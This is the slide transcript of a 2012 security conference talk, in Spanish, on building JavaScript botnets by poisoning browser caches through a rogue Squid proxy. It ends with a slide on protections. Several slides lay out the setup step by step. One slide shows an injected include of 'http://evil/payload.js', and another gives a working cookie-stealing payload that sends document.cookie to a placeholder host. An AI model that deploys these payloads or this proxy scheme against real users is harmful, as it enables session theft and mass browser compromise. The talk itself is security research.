chema alonso y manu "the sur" - owning “bad” guys {and mafia} with javascript botnets...

54
Owning "bad" guys {and mafia} with Javascript botnets Chema Alonso & Manu “The Sur”

Upload: rootedcon

Post on 29-Jun-2015

1.417 views

Category:

Technology


4 download

DESCRIPTION

En esta sesión se verá el funcionamiento de las javascript botnets, se analizarán entornos de despliegue y explotación, y acciones que pueden llevarse a cabo. Además, la sesión mostrará resultados de un estudio realizado a través de servidores proxy, nodos TOR y Rogue APs, que han permitido desplegar un sistema de prueba.

TRANSCRIPT

Page 1: Chema Alonso y Manu "The Sur" - Owning “bad” guys {and mafia} with Javascript botnets [RootedCON 2012]

Owning "bad" guys {and mafia} with Javascript botnets

Chema Alonso & Manu “The Sur”

Page 2: Chema Alonso y Manu "The Sur" - Owning “bad” guys {and mafia} with Javascript botnets [RootedCON 2012]
Page 3: Chema Alonso y Manu "The Sur" - Owning “bad” guys {and mafia} with Javascript botnets [RootedCON 2012]
Page 4: Chema Alonso y Manu "The Sur" - Owning “bad” guys {and mafia} with Javascript botnets [RootedCON 2012]

¡Qué se infecten

ellos!

Page 5: Chema Alonso y Manu "The Sur" - Owning “bad” guys {and mafia} with Javascript botnets [RootedCON 2012]
Page 6: Chema Alonso y Manu "The Sur" - Owning “bad” guys {and mafia} with Javascript botnets [RootedCON 2012]

Man in the Middle• Interceptación de comunicaciones entre

clientes y servidores• Canal comprometido … p0wned seguro• Red:– ARP Spoofing– Rogue DHCP(6)– ICMPv6 Sppofing, SLAAC

• DNS Spoofing

Page 7: Chema Alonso y Manu "The Sur" - Owning “bad” guys {and mafia} with Javascript botnets [RootedCON 2012]

Man in the Browser

• Plugins para interceptar navegación– BHO– Addons

• Acceso a todo el navegador– Passwords– Código

• Troyanos Bancarios– “Tengo un ruso en mi IE”

Page 8: Chema Alonso y Manu "The Sur" - Owning “bad” guys {and mafia} with Javascript botnets [RootedCON 2012]

JavaScript in the Middle• Envenenamiento de la caché del navegador• No es permanente:

– Si se borra la caché, se elimina la infección• Todo archivo cacheado se usa si no ha expirado• Permiten introducir código javascript remoto• Acceso a:

– Cookies• Salvo HTTPOnly (more or less)

– Código HTML– Campos introducidos en formularios– URL– Ejecución de código remoto– …

Page 9: Chema Alonso y Manu "The Sur" - Owning “bad” guys {and mafia} with Javascript botnets [RootedCON 2012]

Google Analytics js y malware

Page 10: Chema Alonso y Manu "The Sur" - Owning “bad” guys {and mafia} with Javascript botnets [RootedCON 2012]

¿Cómo meterlo?

• XSS Permanentes• Owneando HTTP Servers• Ataques Man In the middle de red• Ataques a memcache• Imaginación….

Page 11: Chema Alonso y Manu "The Sur" - Owning “bad” guys {and mafia} with Javascript botnets [RootedCON 2012]

- Framework para infectar la caché de navegadores- Inyecta un javascript en cliente- Ese javascript va incluyendo los mismos payloads- http://beefproject.com - Muy conocido

Page 12: Chema Alonso y Manu "The Sur" - Owning “bad” guys {and mafia} with Javascript botnets [RootedCON 2012]

¿Cómo hacer una Botnet usando Javascript?

Page 13: Chema Alonso y Manu "The Sur" - Owning “bad” guys {and mafia} with Javascript botnets [RootedCON 2012]

¿TOR?

Page 14: Chema Alonso y Manu "The Sur" - Owning “bad” guys {and mafia} with Javascript botnets [RootedCON 2012]

Fácil, Fácil….

Page 15: Chema Alonso y Manu "The Sur" - Owning “bad” guys {and mafia} with Javascript botnets [RootedCON 2012]

Cómprate un Server barato, barato

Page 16: Chema Alonso y Manu "The Sur" - Owning “bad” guys {and mafia} with Javascript botnets [RootedCON 2012]

Monta un Proxy con SQUIDGET / HTTP/1.1Host: www.web.com

GET / HTTP/1.1Host: www.web.com

ResponseHome.html

ResponseHome.html

GET /a.jsp HTTP/1.1Host: www.web.com

GET /a.jsp HTTP/1.1Host: www.web.com

Responsea.jsp

Responsea.Jsp + pasarela.jsinclude http://evil/payload.js

GET /payload.js HTTP/1.1Host: evil

Page 17: Chema Alonso y Manu "The Sur" - Owning “bad” guys {and mafia} with Javascript botnets [RootedCON 2012]

Configura squid y haz que no expiren

Squid.conf: Activar URL rewrite program

.htaccess: Que no expiren los objetos de Apache

Page 18: Chema Alonso y Manu "The Sur" - Owning “bad” guys {and mafia} with Javascript botnets [RootedCON 2012]

Infecta todos los .js

Page 19: Chema Alonso y Manu "The Sur" - Owning “bad” guys {and mafia} with Javascript botnets [RootedCON 2012]

Inyecta tu javascript en el cliente

Page 20: Chema Alonso y Manu "The Sur" - Owning “bad” guys {and mafia} with Javascript botnets [RootedCON 2012]

Distribuye tu Proxy

Page 21: Chema Alonso y Manu "The Sur" - Owning “bad” guys {and mafia} with Javascript botnets [RootedCON 2012]

Deja que Internet haga el resto

Page 22: Chema Alonso y Manu "The Sur" - Owning “bad” guys {and mafia} with Javascript botnets [RootedCON 2012]

Prepara Payloads: 1 robar cookiesdocument.write(“

<img id='domaingrabber' src='http://X.X.X.X/panel/

domaingrabber.php?id=0.0.0.0&domain="+document.domain+"&location="+document.location+"&cookie="+document.cookie+"'

style='display:none;'/>");

Page 23: Chema Alonso y Manu "The Sur" - Owning “bad” guys {and mafia} with Javascript botnets [RootedCON 2012]

Prepara Payloads 2: robar forms

Page 24: Chema Alonso y Manu "The Sur" - Owning “bad” guys {and mafia} with Javascript botnets [RootedCON 2012]

Disfruta

Page 25: Chema Alonso y Manu "The Sur" - Owning “bad” guys {and mafia} with Javascript botnets [RootedCON 2012]

¿Quién usa esto?

Page 26: Chema Alonso y Manu "The Sur" - Owning “bad” guys {and mafia} with Javascript botnets [RootedCON 2012]

Mafias: El Nigeriano

Page 27: Chema Alonso y Manu "The Sur" - Owning “bad” guys {and mafia} with Javascript botnets [RootedCON 2012]

Mafias: El Nigeriano

Page 28: Chema Alonso y Manu "The Sur" - Owning “bad” guys {and mafia} with Javascript botnets [RootedCON 2012]

Mafias: El Nigeriano

Page 29: Chema Alonso y Manu "The Sur" - Owning “bad” guys {and mafia} with Javascript botnets [RootedCON 2012]

Mafias: El Nigeriano

Page 30: Chema Alonso y Manu "The Sur" - Owning “bad” guys {and mafia} with Javascript botnets [RootedCON 2012]

Mafias: El Nigeriano

Page 31: Chema Alonso y Manu "The Sur" - Owning “bad” guys {and mafia} with Javascript botnets [RootedCON 2012]

Mafias: Depredadores

Page 32: Chema Alonso y Manu "The Sur" - Owning “bad” guys {and mafia} with Javascript botnets [RootedCON 2012]

Mafias: Depredadores

Page 33: Chema Alonso y Manu "The Sur" - Owning “bad” guys {and mafia} with Javascript botnets [RootedCON 2012]

Mafias: Depredadores

Page 34: Chema Alonso y Manu "The Sur" - Owning “bad” guys {and mafia} with Javascript botnets [RootedCON 2012]

Mafias: Depredadores

Page 35: Chema Alonso y Manu "The Sur" - Owning “bad” guys {and mafia} with Javascript botnets [RootedCON 2012]

Mafias: Depredadores

Page 36: Chema Alonso y Manu "The Sur" - Owning “bad” guys {and mafia} with Javascript botnets [RootedCON 2012]

Mafias: Depredadores

Page 37: Chema Alonso y Manu "The Sur" - Owning “bad” guys {and mafia} with Javascript botnets [RootedCON 2012]

Mafias: Depredadores

Page 38: Chema Alonso y Manu "The Sur" - Owning “bad” guys {and mafia} with Javascript botnets [RootedCON 2012]

Estafador: El pobre perro

Page 39: Chema Alonso y Manu "The Sur" - Owning “bad” guys {and mafia} with Javascript botnets [RootedCON 2012]

Estafador: El pobre perro

Page 40: Chema Alonso y Manu "The Sur" - Owning “bad” guys {and mafia} with Javascript botnets [RootedCON 2012]

Psicopatas

Page 41: Chema Alonso y Manu "The Sur" - Owning “bad” guys {and mafia} with Javascript botnets [RootedCON 2012]

Preocupados por el anonimato

Page 42: Chema Alonso y Manu "The Sur" - Owning “bad” guys {and mafia} with Javascript botnets [RootedCON 2012]

Preocupados por el anonimato

Page 43: Chema Alonso y Manu "The Sur" - Owning “bad” guys {and mafia} with Javascript botnets [RootedCON 2012]

El del business de leer

Page 44: Chema Alonso y Manu "The Sur" - Owning “bad” guys {and mafia} with Javascript botnets [RootedCON 2012]

El hacker…

Page 45: Chema Alonso y Manu "The Sur" - Owning “bad” guys {and mafia} with Javascript botnets [RootedCON 2012]

… que estaba hackeando…

Page 46: Chema Alonso y Manu "The Sur" - Owning “bad” guys {and mafia} with Javascript botnets [RootedCON 2012]

… que estaba hackeado

Page 47: Chema Alonso y Manu "The Sur" - Owning “bad” guys {and mafia} with Javascript botnets [RootedCON 2012]

Intranet

Page 48: Chema Alonso y Manu "The Sur" - Owning “bad” guys {and mafia} with Javascript botnets [RootedCON 2012]

Y por supuesto Pr0n

Page 49: Chema Alonso y Manu "The Sur" - Owning “bad” guys {and mafia} with Javascript botnets [RootedCON 2012]

Pr0n

Page 50: Chema Alonso y Manu "The Sur" - Owning “bad” guys {and mafia} with Javascript botnets [RootedCON 2012]

Prepara Payloads: infecta webs

Page 51: Chema Alonso y Manu "The Sur" - Owning “bad” guys {and mafia} with Javascript botnets [RootedCON 2012]

Ataque dirigido a sitios

• Selección objetivo – Banco– Red Social– Intranet

• Analiza los js que carga• Payload:– Inclusión de payloads en cualquier página que

navegue.

Page 52: Chema Alonso y Manu "The Sur" - Owning “bad” guys {and mafia} with Javascript botnets [RootedCON 2012]

Demo

Page 53: Chema Alonso y Manu "The Sur" - Owning “bad” guys {and mafia} with Javascript botnets [RootedCON 2012]

Protecciones

• Cuidado con los mitm– Proxy– Redes TOR

• Política de descontaminación

• Navega sin caché• VPNs no son protección